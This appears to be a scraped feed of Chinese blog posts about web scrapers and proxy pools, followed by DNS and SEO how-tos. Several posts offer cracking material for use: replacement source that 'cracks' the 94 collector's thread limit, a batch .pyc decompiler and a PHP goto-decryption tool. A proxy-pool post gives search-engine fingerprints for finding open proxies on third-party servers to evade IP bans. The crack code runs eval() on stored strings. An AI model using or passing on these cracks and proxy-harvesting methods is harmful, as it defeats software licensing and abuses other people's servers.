    这里强烈推荐使用 Conda 或 virtualenv 创建虚拟环境,Python 版本不低于 3.6。

    然后 pip 安装依赖即可:pip3 install -r requirements.txt

    运行代理池

    两种方式运行代理池,一种是 Tester、Getter、Server 全部运行,另一种是按需分别运行。

    一般来说可以选择全部运行,命令如下:python3 run.py

    运行之后会启动 Tester、Getter、Server,这时访问 http://localhost:5555/random 即可获取一个随机可用代理。

    或者如果你弄清楚了代理池的架构,可以按需分别运行,命令如下:python3 run.py –processor getter python3 run.py –processor tester python3 run.py –processor server

    这里 processor 可以指定运行 Tester、Getter 还是 Server。

    使用

    成功运行之后可以通过 http://localhost:5555/random 获取一个随机可用代理。

    可以用程序对接实现,下面的示例展示了获取代理并爬取网页的过程:import requests proxypool_url = ‘http://127.0.0.1:5555/random’ target_url = ‘http://httpbin.org/get’ def get_random_proxy(): “”” get random proxy from proxypool :return: proxy “”” return requests.get(proxypool_url).text.strip() def crawl(url, proxy): “”” use proxy to crawl page :param url: page url :param proxy: proxy, such as 8.8.8.8:8888 :return: html “”” proxies = {‘http’: ‘http://’ + proxy} return requests.get(url, proxies=proxies).text def main(): “”” main method, entry point :return: none “”” proxy = get_random_proxy() print(‘get random proxy’, proxy) html = crawl(target_url, proxy) print(html) if __name__ == ‘__main__’: main()

    运行结果如下:

    get random proxy 116.196.115.209:8080
    {
      "args": {},
      "headers": {
        "Accept": "*/*",
        "Accept-Encoding": "gzip, deflate",
        "Host": "httpbin.org",
        "User-Agent": "python-requests/2.22.0",
        "X-Amzn-Trace-Id": "Root=1-5e4d7140-662d9053c0a2e513c7278364"
      },
      "origin": "116.196.115.209",
      "url": "https://httpbin.org/get"
    }
    

    可以看到成功获取了代理,并请求 httpbin.org 验证了代理的可用性。

    可配置项

    代理池可以通过设置环境变量来配置一些参数。

    开关

    • ENABLE_TESTER:允许 Tester 启动,默认 true
    • ENABLE_GETTER:允许 Getter 启动,默认 true
    • ENABLE_SERVER:运行 Server 启动,默认 true

    环境

    • APP_ENV:运行环境,可以设置 dev、test、prod,即开发、测试、生产环境,默认 dev
    • APP_DEBUG:调试模式,可以设置 true 或 false,默认 true
    • APP_PROD_METHOD: 正式环境启动应用方式,默认是gevent, 可选:tornadomeinheld(分别需要安装 tornado 或 meinheld 模块)

    Redis 连接

    • PROXYPOOL_REDIS_HOST / REDIS_HOST:Redis 的 Host,其中 PROXYPOOL_REDIS_HOST 会覆盖 REDIS_HOST 的值。
    • PROXYPOOL_REDIS_PORT / REDIS_PORT:Redis 的端口,其中 PROXYPOOL_REDIS_PORT 会覆盖 REDIS_PORT 的值。
    • PROXYPOOL_REDIS_PASSWORD / REDIS_PASSWORD:Redis 的密码,其中 PROXYPOOL_REDIS_PASSWORD 会覆盖 REDIS_PASSWORD 的值。
    • PROXYPOOL_REDIS_DB / REDIS_DB:Redis 的数据库索引,如 0、1,其中 PROXYPOOL_REDIS_DB 会覆盖 REDIS_DB 的值。
    • PROXYPOOL_REDIS_CONNECTION_STRING / REDIS_CONNECTION_STRING:Redis 连接字符串,其中 PROXYPOOL_REDIS_CONNECTION_STRING 会覆盖 REDIS_CONNECTION_STRING 的值。
    • PROXYPOOL_REDIS_KEY / REDIS_KEY:Redis 储存代理使用字典的名称,其中 PROXYPOOL_REDIS_KEY 会覆盖 REDIS_KEY 的值。

    处理器

    • CYCLE_TESTER:Tester 运行周期,即间隔多久运行一次测试,默认 20 秒
    • CYCLE_GETTER:Getter 运行周期,即间隔多久运行一次代理获取,默认 100 秒
    • TEST_URL:测试 URL,默认百度
    • TEST_TIMEOUT:测试超时时间,默认 10 秒
    • TEST_BATCH:批量测试数量,默认 20 个代理
    • TEST_VALID_STATUS:测试有效的状态码
    • API_HOST:代理 Server 运行 Host,默认 0.0.0.0
    • API_PORT:代理 Server 运行端口,默认 5555
    • API_THREADED:代理 Server 是否使用多线程,默认 true

    日志

    • LOG_DIR:日志相对路径
    • LOG_RUNTIME_FILE:运行日志文件名称
    • LOG_ERROR_FILE:错误日志文件名称
    • LOG_ROTATION: 日志记录周转周期或大小,默认 500MB,见 loguru – rotation
    • LOG_RETENTION: 日志保留日期,默认 7 天,见 loguru – retention
    • ENABLE_LOG_FILE:是否输出 log 文件,默认 true,如果设置为 false,那么 ENABLE_LOG_RUNTIME_FILE 和 ENABLE_LOG_ERROR_FILE 都不会生效
    • ENABLE_LOG_RUNTIME_FILE:是否输出 runtime log 文件,默认 true
    • ENABLE_LOG_ERROR_FILE:是否输出 error log 文件,默认 true

    以上内容均可使用环境变量配置,即在运行前设置对应环境变量值即可,如更改测试地址和 Redis 键名:export TEST_URL=http://weibo.cn export REDIS_KEY=proxies:weibo

    即可构建一个专属于微博的代理池,有效的代理都是可以爬取微博的。

    如果使用 Docker-Compose 启动代理池,则需要在 docker-compose.yml 文件里面指定环境变量,如:version: “3” services: redis: image: redis:alpine container_name: redis command: redis-server ports: – “6379:6379” restart: always proxypool: build: . image: “germey/proxypool” container_name: proxypool ports: – “5555:5555” restart: always environment: REDIS_HOST: redis TEST_URL: http://weibo.cn REDIS_KEY: proxies:weibo

    扩展代理爬虫

    代理的爬虫均放置在 proxypool/crawlers 文件夹下,目前对接了有限几个代理的爬虫。

    若扩展一个爬虫,只需要在 crawlers 文件夹下新建一个 Python 文件声明一个 Class 即可。

    写法规范如下:from pyquery import PyQuery as pq from proxypool.schemas.proxy import Proxy from proxypool.crawlers.base import BaseCrawler BASE_URL = ‘http://www.664ip.cn/{page}.html’ MAX_PAGE = 5 class Daili66Crawler(BaseCrawler): “”” daili66 crawler, http://www.66ip.cn/1.html “”” urls = [BASE_URL.format(page=page) for page in range(1, MAX_PAGE + 1)] def parse(self, html): “”” parse html file to get proxies :return: “”” doc = pq(html) trs = doc(‘.containerbox table tr:gt(0)’).items() for tr in trs: host = tr.find(‘td:nth-child(1)’).text() port = int(tr.find(‘td:nth-child(2)’).text()) yield Proxy(host=host, port=port)

    在这里只需要定义一个 Crawler 继承 BaseCrawler 即可,然后定义好 urls 变量和 parse 方法即可。

    • urls 变量即为爬取的代理网站网址列表,可以用程序定义也可写成固定内容。
    • parse 方法接收一个参数即 html,代理网址的 html,在 parse 方法里只需要写好 html 的解析,解析出 host 和 port,并构建 Proxy 对象 yield 返回即可。

    网页的爬取不需要实现,BaseCrawler 已经有了默认实现,如需更改爬取方式,重写 crawl 方法即可。

  • 一款基于94采集器的魔改AI采集器

    一款基于94采集器的魔改AI采集器

    本工具是基于兴趣及代码研究所创作,严禁用于商业用途及任何不法用途。本代码完全免费,严禁任何人将本代码用于出售及其它类似商业行为。

    94采集器是一款非常受欢迎的可用于linux或者windows双平台的采集系统。相对于关关只能在Windows上运行来说,太香了。

    但是94采集器也有一些缺点,比较代码全是中文,中文函数,中文变量,中文类,非常难以理解。另外就是采集效率上,94是比较容易内存溢出的,导致动辄卡死。另外在对比的效率以及加书的效率上来说,都有不小的问题。

    但94的优点同样不少,前文说的跨平台是其一大优势。94兼容的系统比较多也是一大优势;另外,因为python本身库比较多,实现类似cloudflare 5秒盾这样的突破就变得轻而易举。

    鉴于对这么优秀的系统的兴趣,对其进行了一系列的修改优化,主要从以下几个方面

    1. 代码重写,摒弃中文,代码执行效率更高。
    2. 采集代码优化,不再会有内存溢出卡死等现象。
    3. 对比算法重写,使用高效简洁的对比算法,准确率更高,速度也更快。
    4. 增加了动态代理功能,可定时切换代码,不用再担心被封ip了。
    5. 增加了索引更新功能,会将采集内容定时更新到全文索引,搜索再也不用查库了。
    6. 增加了自动更新功能,用户点击网站的报错时,采集器自动从源中寻找章节更新。

    以下是系统截图

    本系统免费分享给对爬虫技术有兴趣的朋友,为防止泛滥,所以只限Vip用户组下载。

    请大家自行研究,不要分发。

    再次申明,此代码仅供研究技术使用,严禁用于不法用途,违者后果自负。

  • 微擎加密goto完全解密系统php源码

    微擎加密goto完全解密系统php源码

    很多php源码会进行goto加密,比如大多的微擎应用。对于已加密的应用很多人是不敢直接使用的,因为不知道里面有些什么内容。

    今天,无错源码为您整理分享一套goto解密的php源码

    直接上传服务器就可以使用的

    微擎加密goto完全解密系统php源码-百谷资源网

    使用方法:

    微擎加密goto完全解密系统php源码-百谷资源网

    1.PHP-Parser必须要在php7.0以上运行,所以php版本要在7.0或以上

    2.需要解密的文件放在decodeFile文件夹里面,支持多个文件,但最好不要太多,耗内存,如果php.ini已经设置内存在1024,还遇到单个文件内存溢出的话,问题可能就出在文件,搞不定可以找下店家看看。

    3.解密后的源代码在complete文件中。

    4.直接运行index.php就会解密。

    5.批量解密,然后又一次性替换全部项目文件,如果运行遇到问题的,建议检查看一眼解密后的文件(或者分批替换查找)。看是否有个别特殊文件是字符串混淆了的。

    微擎加密goto完全解密系统php源码-百谷资源网
  • 一个开源的动态IP代理池  – 爬虫必备神器

    一个开源的动态IP代理池  – 爬虫必备神器

    爬虫爬多了总会被封IP,这个时候你需要去找代理。现在的代理方式主要有代理ip池,每次请求几个ip都是自定义的,这种一年普遍的价格是600¥;还有一种叫隧道代理,就是你访问的是固定的域名:端口的形式,然后服务端会使用不固定的代理ip访问,这种和代理ip池其实没有本质区别,只是一种是自己直接使用代理ip爬取,一种是使用远程服务器爬取并返回内容。这种隧道代理现在普遍好像要3000¥一年,真的是贵的不行了。

    当然,前面说的都是要钱的,今天给大家一个免费的工具,可以自己搭建动态ip代理池或者隧道代理,相信学会怎么使用后,你也可以去卖代理ip池或者隧道代理了。

    本站提供的下载是在原有的基础上增加了一些代理源,可用性相对更高一些。

    TunnelProxyPool

    • 一款无环境依赖开箱即用的免费代理IP池
    • 内置18个免费代理源,均使用内置的简单正则获取
    • 支持webApi获取、删除等代理池内的IP
    • 支持 http,socket5 隧道代理模式,无需手动更换IP,每一次请求IP都不同
    • 遇到bug或有好的建议,欢迎提issue

    隧道代理

    • 隧道代理是代理IP存在的一种方式。
    • 相对于传统固定代理IP,它的特点是自动地在代理服务器上改变IP,这样每个请求都使用一个不同的IP。

    代理IP特征

    • 这里提供一些代理IP的特征,师傅们可通过特征自己写代理源,api获取的话内置的正则方式就能写
    • 360网络空间测绘_socket5:
    protocol:"socks5" AND "Accepted Auth Method: 0x0" AND "connection: close" AND country: "China"  
    

    fofa_http:

    "HTTP/1.1 403 Forbidden Server: nginx/1.12.1" && port="9091"   
    
    port="3128" && title="ERROR: The requested URL could not be retrieved"  
    
    "X-Cache: 'MISS from VideoCacheBox/CE8265A63696DECD7F0D17858B1BDADC37771805'" && "X-Squid-Error: ERR_ACCESS_DENIED 0"  
    

    hunter_http:

    header.server="nginx/2.2.200603d"&&web.title="502 Bad Gateway" && ip.port="8085"
    

    截图

    zuz6TU.png

    使用说明

    下载

    git clone https://github.com/FynnFbc/TunnelProxyPool.git
    
    • 编译(直接使用成品,就无需编译)
    • 以下是在Windows环境下,编译出各平台可执行文件的命令
    set CGO_ENABLED=0
    set GOOS=windows
    set GOARCH=amd64
    go build -ldflags "-s -w" -o ../ProxyPool-win-64.exe
    
    set CGO_ENABLED=0
    set GOOS=windows
    set GOARCH=386
    go build -ldflags "-s -w"  -o ../ProxyPool-win-86.exe
    
    set CGO_ENABLED=0
    set GOOS=linux
    set GOARCH=amd64
    go build -ldflags "-s -w" -o ../ProxyPool-linux-64
    
    set CGO_ENABLED=0
    set GOOS=linux
    set GOARCH=arm64
    go build -ldflags "-s -w" -o ../ProxyPool-linux-arm64
    
    set CGO_ENABLED=0
    set GOOS=linux
    set GOARCH=386
    go build -ldflags "-s -w" -o ../ProxyPool-linux-86
    
    set CGO_ENABLED=0
    set GOOS=darwin
    set GOARCH=amd64
    go build -ldflags "-s -w" -o ../ProxyPool-macos-64
    
    set CGO_ENABLED=0
    set GOOS=darwin
    set GOARCH=arm64
    go build -ldflags "-s -w" -o ../ProxyPool-macos-arm64
    
    

    运行

    • 需要与config.yml在同一目录
    • 注意:抓取代理会进行类型地区等验证会比较缓慢,存活验证会快很多
    .\ProxyPool.exe
    

    代理源中有部分需要翻墙才能访问,有条件就设置下config.yml的代理配置

    proxy: host: 127.0.0.1 port: 10809

    webAPi说明

    • 查看代理池情况
    http://127.0.0.1:8080/
    

    获取代理

    http://127.0.0.1:8080/get?type=HTTP&count=10&anonymity=all
    可选参数:
    type        代理类型
    anonymity   匿名度
    country     国家
    source      代理源
    count       代理数量
    获取所有:all
    

    删除代理 (默认没有开启,需自行修改源代码编译)

    http://127.0.0.1:8080/delete?ip=127.0.0.1&port=8888
    必须传参:
    ip      代理ip
    port    代理端口
    

    验证代理

    http://127.0.0.1:8080/verify
    

    抓取代理

    http://127.0.0.1:8080/spider
    

    代理字段解读

    type ProxyIp struct { Ip string //IP地址 Port string //代理端口 Country string //代理国家 Province string //代理省份 City string //代理城市 Isp string //IP提供商 Type string //代理类型 Anonymity string //代理匿名度, 透明:显示真实IP, 普匿:显示假的IP, 高匿:无代理IP特征 Time string //代理验证 Speed string //代理响应速度 SuccessNum int //验证请求成功的次数 RequestNum int //验证请求的次数 Source string //代理源 }

    配置文件

    # 使用代理去获取代理IP proxy: host: 127.0.0.1 port: 10809 # 代理身份验证 auth: # 用户名 user: abcde # 密码 pass: qwert # 配置信息 config: #监听IP ip: 0.0.0.0 #web监听端口 port: 8080 #http隧道代理端口 httpTunnelPort: 8111 #socket隧道代理端口 socketTunnelPort: 8112 #隧道代理更换时间秒 tunnelTime: 60 #可用IP数量小于‘proxyNum’时就去抓取 proxyNum: 50 #代理IP验证间隔秒 verifyTime: 1800 #抓取/检测状态线程数 threadNum: 200

    更新说明

    2022/11/22
    修复 ip归属地接口更换
    优化 验证代理

    2022/11/19
    新增 socket5代理
    新增 文件导入代理
    新增 显示验证进度
    新增 验证webApi
    修改 扩展导入格式
    优化 代理验证方式
    优化 匿名度改为自动识别
    修复 若干bug

    效果

  • Python批量反编译脚本 破解源码脚本 PYC逆向

    Python批量反编译脚本 破解源码脚本 PYC逆向

    Python程序编译后是pyc文件,使用本文件放于任意目录下,修改directory值,然后使用python运行即可批量破解反编译pyc文件 。

    import uncompyle6
    import os
    
    def decompile_pyc_files(directory):
        for root, dirs, files in os.walk(directory):
            for file in files:
                if file.endswith('.pyc'):
                    pyc_file = os.path.join(root, file)
                    py_file = os.path.splitext(pyc_file)[0] + '.py'  # 使用同名的.py文件名
    
                    # 反编译.pyc文件为.py文件
                    with open(py_file, 'w', encoding='utf-8') as f:  # 指定编码方式为utf-8
                        uncompyle6.decompile_file(pyc_file, f)
    
                    print(f"Decompiled: {pyc_file} -> {py_file}")
    
    # 指定包含.pyc文件的目录
    directory = r"D:\source\"
    
    # 执行批量反编译
    decompile_pyc_files(directory)
    
  • 94采集器破解线程限制 – 解线程源码

    __init__.py

    新建文件 ,内容如下

    import os
    from flask import Flask
    from config import Config
    from datetime import timedelta
    from app.logs import log
    from app.helper import filehelper, taskhelper
    from app.helper.schehelper import scheduler
    
    
    def app():
        try:
            path = os.getcwd()
            tpath = '{0}//templates'.format(path.replace("\\", "//"))
            spath = '{0}//static'.format(path.replace("\\", "//"))
            appflask = Flask(__name__)  # , template_folder=tpath, static_folder=spath
            appflask.config.from_object(Config())
            # 自动重载模板文件
            appflask.jinja_env.auto_reload = True
            appflask.config['TEMPLATES_AUTO_RELOAD'] = True
            # 设置静态文件缓存过期时间
            appflask.config['SEND_FILE_MAX_AGE_DEFAULT'] = timedelta(seconds=1)
            appflask.config['JSON_AS_ASCII'] = False  # 这个配置可以确保http请求返回的json数据中正常显示中文
            读取基础配置()
            #scheduler.init_app(appflask)
            scheduler.start()
            return appflask
        except Exception as e:
            msg = 'app-{0},文件地址:{1},错误行号:{2}'.format(e, e.__traceback__.tb_frame.f_globals["__file__"],
                                                        e.__traceback__.tb_lineno)
            log.错误日志(msg)
    
    def 读取基础配置():
        try:
            系统设置 = filehelper.读INI("系统设置.ini", "系统设置", "系统设置")
            Config.系统设置 = eval(系统设置)
            大类设置 = filehelper.读INI("大类设置.ini", "大类设置", "大类设置")
            Config.一级分类 = 大类设置.strip('\n').split('\n')
            小类设置 = filehelper.读INI("小类设置.ini", "小类设置", "小类设置")
            Config.二级分类 = 小类设置.strip('\n').split('\n')
            频道设置 = filehelper.读INI("频道设置.ini", "频道设置", "频道设置")
            Config.频道 = 频道设置.strip('\n').split('\n')
            连载设置 = filehelper.读INI("连载设置.ini", "连载设置", "连载设置")
            Config.连载 = 连载设置.strip('\n').split('\n')
            标识设置 = filehelper.读INI("标识设置.ini", "标识设置", "标识设置")
            Config.标识 = 标识设置.strip('\n').split('\n')
            自定内容 = filehelper.读INI("自定内容.ini", "自定内容", "自定内容")
            Config.自定内容 = 自定内容
            UA设置 = filehelper.读INI("UA设置.ini", "UA设置", "UA设置")
            Config.UA = UA设置.split('\n')
            代理设置 = filehelper.读INI("代理设置.ini", "代理设置", "代理设置")
            Config.代理 = 代理设置.strip('\n').split('\n')
            邮件设置 = filehelper.读INI("邮件设置.ini", "邮件设置", "邮件设置")
            Config.邮件 = eval(邮件设置)
            规则列表 = filehelper.读取任务列表()
            for item in 规则列表:
                if item.startswith('任务'):
                    任务ID = item.replace('任务', '').replace('.ini', '')
                    任务字符串 = filehelper.读INI('任务{0}.ini'.format(任务ID), 任务ID, 'taskinfo')
                    任务信息 = eval(任务字符串)
                    taskhelper.添加任务(任务信息)
        except Exception as e:
            msg = '读取基础配置-{0},文件地址:{1},错误行号:{2}'.format(e, e.__traceback__.tb_frame.f_globals["__file__"],
                                                        e.__traceback__.tb_lineno)
            log.错误日志(msg)
    

    新建 task.py文件,内容如下

    # -*- coding: UTF-8 -*-
    import json
    import base64
    import datetime
    from config import Config
    from app.helper import filehelper, commonhelper, taskhelper
    from flask import request, render_template
    
    
    def 查询任务列表():
        try:
            规则列表 = filehelper.读取任务列表()
            返回值 = []
            for item in 规则列表:
                if item.startswith('任务'):
                    任务ID = item.replace('任务', '').replace('.ini', '')
                    规则ID = filehelper.读INI('任务{0}.ini'.format(任务ID), 任务ID, 'taskname')
                    任务名称 = filehelper.读INI('任务{0}.ini'.format(任务ID), 任务ID, 'taskname')
                    任务类型 = filehelper.读INI('任务{0}.ini'.format(任务ID), 任务ID, 'taskType')
                    任务状态 = filehelper.读INI('任务{0}.ini'.format(任务ID), 任务ID, 'taskstatus')
                    任务时间间隔 = filehelper.读INI('任务{0}.ini'.format(任务ID), 任务ID, 'tasktime')
                    采集内容 = commonhelper.获取当前采集信息(任务ID)
                    最后运行时间 = filehelper.读INI('任务{0}.ini'.format(任务ID), 任务ID, 'gxsj')
                    返回值.append({
                        "任务ID": 任务ID,
                        "规则ID": 规则ID,
                        "任务名称": 任务名称,
                        "任务类型": 任务类型,
                        "任务状态": 任务状态,
                        "任务时间间隔": 任务时间间隔,
                        "采集内容": 采集内容,
                        "最后运行时间": 最后运行时间
                    })
            return '{"code":0,"msg":"", "count":' + str(len(返回值)) + ', "data": ' + json.dumps(返回值) + '}'
        except Exception as e:
            return '{"code":0,"msg":"' + e + '","count":0,"data":[]}'
    
    
    def 添加任务():
        try:
            taskid = str(request.form['taskid'])
            ruleid = str(request.form['ruleid'])
            taskname = str(request.form['taskname'])
            tasktime = str(request.form['tasktime'])
            taksmode = str(request.form['taksmode'])
            taskType = str(request.form['taskType'])
            bookid = str(request.form['bookid'])
            startid = str(request.form['startid'])
            endid = str(request.form['endid'])
            startpage = str(request.form['startpage'])
            endpage = str(request.form['endpage'])
            pagelist = str(request.form['pagelist'])
            isimg = str(request.form['isimg'])
            isinfo = str(request.form['isinfo'])
            ismark = str(request.form['ismark'])
            sizerestoration = str(request.form['sizerestoration'])
            colletime = str(request.form['colletime'])
            retrynum = str(request.form['retrynum'])
            retrytime = str(request.form['retrytime'])
            useragent = str(request.form['useragent'])
            contrastmethod = str(request.form['contrastmethod'])
            an = str(request.form['an'])
            cn = str(request.form['cn'])
            yj = str(request.form['yj'])
            dl = str(request.form['dl'])
            dlinfo = str(request.form['dlinfo'])
            cookies = str(request.form['cookies'])
            bcjbt = str(request.form['bcjbt'])
            minichapter = str(request.form['minichapter'])
            bookurl = str(request.form['bookurl'])
            booklisturl = str(request.form['booklisturl'])
            maxchapter = str(request.form['maxchapter'])
            iscf5 = str(request.form['iscf5'])
            是否添加 = False
            if (taskid == None) | (taskid == 'None') | (taskid == ''):
                taskid = datetime.datetime.now().strftime("%Y%m%d%H%m%f")
                是否添加 = True
            任务信息 = {
                "taskid": taskid,
                "ruleid": ruleid,
                "taskname": taskname,
                "tasktime": tasktime,
                "taksmode": taksmode,
                "taskType": taskType,
                "bookid": bookid,
                "bookurl": bookurl,
                "startid": startid,
                "endid": endid,
                "booklisturl": booklisturl,
                "startpage": startpage,
                "endpage": endpage,
                "pagelist": pagelist,
                "isimg": isimg,
                "isinfo": isinfo,
                "ismark": ismark,
                "sizerestoration": sizerestoration,
                "colletime": colletime,
                "retrynum": retrynum,
                "retrytime": retrytime,
                "useragent": useragent,
                "contrastmethod": contrastmethod,
                "an": an,
                "cn": cn,
                "yj": yj,
                "dl": dl,
                "dlinfo": dlinfo,
                "cookies": cookies,
                "bcjbt": bcjbt,
                "minichapter": minichapter,
                "maxchapter": maxchapter,
                "iscf5":iscf5
            }
            if filehelper.写入任务INI(taskid, taskid, 任务信息):
                if 是否添加:
                    taskhelper.添加任务(任务信息)
                else:
                    taskhelper.修改任务(任务信息)
                    taskhelper.获取任务信息(taskid)
                return '保存成功!'
            else:
                return '保存失败!'
        except Exception as e:
            msg = '{0},文件地址:{1},错误行号:{2}'.format(e, e.__traceback__.tb_frame.f_globals["__file__"],
                                                 e.__traceback__.tb_lineno)
            return msg
    
    
    def 查询任务信息():
        try:
            类型 = str(request.args.get('type'))
            任务信息 = {}
            规则信息 = []
            if 类型 == 'add':
                pass
            elif 类型 == 'up':
                任务ID = str(request.args.get('taskid'))
                任务字符串 = filehelper.读INI('任务{0}.ini'.format(任务ID), 任务ID, 'taskinfo')
                任务信息 = eval(任务字符串)
            规则列表 = filehelper.读取规则列表()
            for item in 规则列表:
                规则ID = filehelper.读INI('规则.ini', item, 'ruleid')
                规则名称 = filehelper.读INI('规则.ini', item, 'rulename')
                规则信息.append({"v": 规则ID, "t": 规则名称})
            return render_template("task.html", info=任务信息, 规则=规则信息, UserAgent=Config.UA)
        except Exception as e:
            msg = '{0},文件地址:{1},错误行号:{2}'.format(e, e.__traceback__.tb_frame.f_globals["__file__"],
                                                 e.__traceback__.tb_lineno)
            return render_template("msg.html", info=msg)
    
    
    def 启动任务():
        try:
            任务ID = str(request.args.get('taskid'))
            if filehelper.修改INI('任务{0}.ini'.format(任务ID), 任务ID, "taskstatus", "开启"):
                return '启动成功!'
            else:
                return '启动失败!'
        except Exception as e:
            msg = '{0},文件地址:{1},错误行号:{2}'.format(e, e.__traceback__.tb_frame.f_globals["__file__"],
                                                 e.__traceback__.tb_lineno)
            return msg
    
    
    def 暂停任务():
        try:
            任务ID = str(request.args.get('taskid'))
            if filehelper.修改INI('任务{0}.ini'.format(任务ID), 任务ID, "taskstatus", "暂停"):
                return '暂停成功!'
            else:
                return '暂停失败!'
        except Exception as e:
            msg = '{0},文件地址:{1},错误行号:{2}'.format(e, e.__traceback__.tb_frame.f_globals["__file__"],
                                                 e.__traceback__.tb_lineno)
            return msg
    
    
    def 删除任务信息():
        try:
            任务ID = str(request.args.get('taskid'))
            if filehelper.删除任务INI(任务ID):
                taskhelper.删除任务(任务ID)
                return '删除成功!'
            else:
                return '删除失败!'
        except Exception as e:
            msg = '{0},文件地址:{1},错误行号:{2}'.format(e, e.__traceback__.tb_frame.f_globals["__file__"],
                                                 e.__traceback__.tb_lineno)
            return msg
    
    
    def 批量删除任务信息():
        try:
            任务ID = str(request.form['taskId'])
            任务列表 = 任务ID.split('|')
            成功数量 = 0
            失败数量 = 0
            for item in 任务列表:
                if filehelper.删除任务INI(任务ID):
                    taskhelper.删除任务(任务ID)
                    成功数量 = 成功数量 + 1
                else:
                    失败数量 = 失败数量 + 1
            return '成功删除{0}条,失败{1}条!'.format(成功数量, 失败数量)
        except Exception as e:
            msg = '{0},文件地址:{1},错误行号:{2}'.format(e, e.__traceback__.tb_frame.f_globals["__file__"],
                                                 e.__traceback__.tb_lineno)
            return msg
    

    task.py文件放入app/view文件夹

    原来对应的pyc文件可以删除。

    替换完成后重启应用服务器即可。

  • DNSPod设置搜索引擎蜘蛛回源方法

    DNSPod设置搜索引擎蜘蛛回源方法

    网站在上线之后,为了避免受攻击,我们通常会给网站套上CDN,个人站长一般会选择免费的CDN,如Cloudflare。在给网站加上CDN后,我们尝试访问网站域名,会访问到CDN随机分配的ip地址,这样就隐藏了网站源ip(避免网站受攻击)。

    “Cloudflare可以帮助受保护站点抵御包括分布式拒绝服务攻击(DDoS, Distributed Denial of Service)在内的大多数网络攻击,确保该网站长期在线,同时提升网站的性能、访问速度以改善访客体验。”

    但如果搜索引擎蜘蛛也直接访问CF(cloudflare的简称)获取随机ip,每次抓住的ip都发生变化,并且相对于蜘蛛直接抓取源站ip的平均耗时长,就会影响到蜘蛛对网站的抓取频次,不利于SEO优化。因此,就需要配置蜘蛛回源抓取。

    本文介绍通过DNSPod设置蜘蛛回源的方法。

    第一步 注册DNSPod账户

    官网:https://www.dnspod.cn/

    第二步 后台添加域名

    图片[1] - DNSPod设置搜索引擎蜘蛛回源方法 - 长江博客
    dnspod后台
    图片[2] - DNSPod设置搜索引擎蜘蛛回源方法 - 长江博客
    添加域名

    第三步 更改域名dns

    添加域名之后,如果域名之前在别的平台进行的解析,会显示“DNS不正确”,点击更改dns

    图片[3] - DNSPod设置搜索引擎蜘蛛回源方法 - 长江博客
    图片[4] - DNSPod设置搜索引擎蜘蛛回源方法 - 长江博客

    第四步 添加线路分组(蜘蛛线路)

    1)添加记录,选择线路类型,里面先添加线路分组

    图片[5] - DNSPod设置搜索引擎蜘蛛回源方法 - 长江博客

    2)蜘蛛线路选这几个,然后保存线路

    图片[6] - DNSPod设置搜索引擎蜘蛛回源方法 - 长江博客

    第五步 添加解析记录

    1)添加A记录

    线路选择刚才建立的线路分组,记录值为自己的服务器ip

    图片[7] - DNSPod设置搜索引擎蜘蛛回源方法 - 长江博客

    这样蜘蛛独立抓取的ip就设置成功了。

    2)添加CNAME记录

    不要忘记添加CNAME记录,对接到CDN(如cloudflare),挂个免费的CF隐藏ip。

    图片[8] - DNSPod设置搜索引擎蜘蛛回源方法 - 长江博客

    蜘蛛回源配置完成,可以实现访客通过CDN访问的同时,蜘蛛通过分组直接访问服务器源ip。

    DNSPod专业版

    免费版DNS可以尝试升级至专业版,建议购买dnspod专业版,更便宜的购买途径:

    https://www.dnspod.cn/promo/domainscarnival?promo_code=S2N37CX622382H3U#anch_dnsPackage
    图片[9] - DNSPod设置搜索引擎蜘蛛回源方法 - 长江博客

  • 利用宝塔实现百度自动推送[百度API提交]

    利用宝塔实现百度自动推送[百度API提交]

    当我们的网站有新内容产出的时候,首先需要做的是即时将内容提交给百度(等百度主动发现效率太低了),那么这个时候就可以利用 sitemap网站地图文件、百度推送等方式进行数据提交。

    本文参考百度站长平台给出的推送示例,结合宝塔定时任务,实现通过百度API接口自动提交网站链接。每天例行推送链接,让百度引擎抓取的频次增大。

    图片[1] - 利用宝塔实现百度自动推送 - 长江博客

    教程开始
    1、在网站根目录新建一个文件夹,在文件夹新建一个 文件baidutuisong.php

    2、将下面的代码拷贝到php文件中,修改2个参数:网站 sitemap.xml 地址和百度的推送接口(百度站长平台获取)

    3、登录到宝塔BT后台,把推送的php文件地址添加到宝塔定时任务里,如:

    图片[2] - 利用宝塔实现百度自动推送 - 长江博客

    4、执行任务后,查看宝塔任务执行日志,会显示执行成功以及遗留每日可推送条数。

    图片[3] - 利用宝塔实现百度自动推送 - 长江博客

    推送代码

    <?php
    header('Content-Type:text/html;charset=utf-8');
    $xmldata =file_get_contents("https://www.73bk.com/sitemap.xml");
    $xmlstring = simplexml_load_string($xmldata,'SimpleXMLElement',LIBXML_NOCDATA);
    $value_array = json_decode(json_encode($xmlstring),true);
    $url = [];
    for ($i =0;$i < count($value_array['url']);$i++){
    echo $value_array['url'][$i]['loc']."
    ";
    $url[]= $value_array['url'][$i]['loc'];
    }
    $api ='百度站长平台的推送接口';
    $ch = curl_init();
    $options = array(
    CURLOPT_URL => $api,
    CURLOPT_POST => true,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POSTFIELDS => implode("\n",$url),
    CURLOPT_HTTPHEADER => array('Content-Type:text/plain'),
    );
    curl_setopt_array($ch, $options);
    $result =curl_exec($ch);
    echo $result;
    ?>